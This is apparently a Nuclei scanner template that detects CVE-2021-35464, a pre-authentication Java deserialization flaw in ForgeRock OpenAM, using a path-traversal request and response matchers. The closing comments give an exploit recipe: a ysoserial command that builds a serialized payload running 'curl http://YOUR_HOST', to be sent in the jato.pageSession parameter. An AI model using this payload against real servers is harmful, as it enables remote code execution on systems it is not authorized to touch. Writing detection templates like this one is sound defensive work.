61 lines
2.3 KiB
YAML
61 lines
2.3 KiB
YAML
id: CVE-2021-35464
|
|
|
|
info:
|
|
name: ForgeRock OpenAM <7.0 - Remote Code Execution
|
|
author: madrobot
|
|
severity: critical
|
|
description: |
|
|
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
|
|
The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
|
|
/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
|
|
found in versions of Java 8 or earlier.
|
|
remediation: |
|
|
Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
|
|
- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
|
|
- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
|
|
- https://bugster.forgerock.org
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-35464
|
|
cwe-id: CWE-502
|
|
epss-score: 0.97374
|
|
epss-percentile: 0.99886
|
|
cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: forgerock
|
|
product: am
|
|
shodan-query: http.title:"OpenAM"
|
|
tags: packetstorm,cve,cve2021,openam,rce,java,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "Set-Cookie: JSESSIONID="
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "Version Information -"
|
|
- "openam/ccversion/Masthead.jsp"
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
|
|
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
|
|
# digest: 4a0a0047304502204cc63e0d34382b0e3f880cdfbcac2a33d63c469bd8cc8dd94b82ba4189fc6b7002210091c5bc30e6400410479ac8cf4a825f25a2b86781f3839825eddc5a4350bbbd7d:922c64590222798bb761d5b6d8e72950
|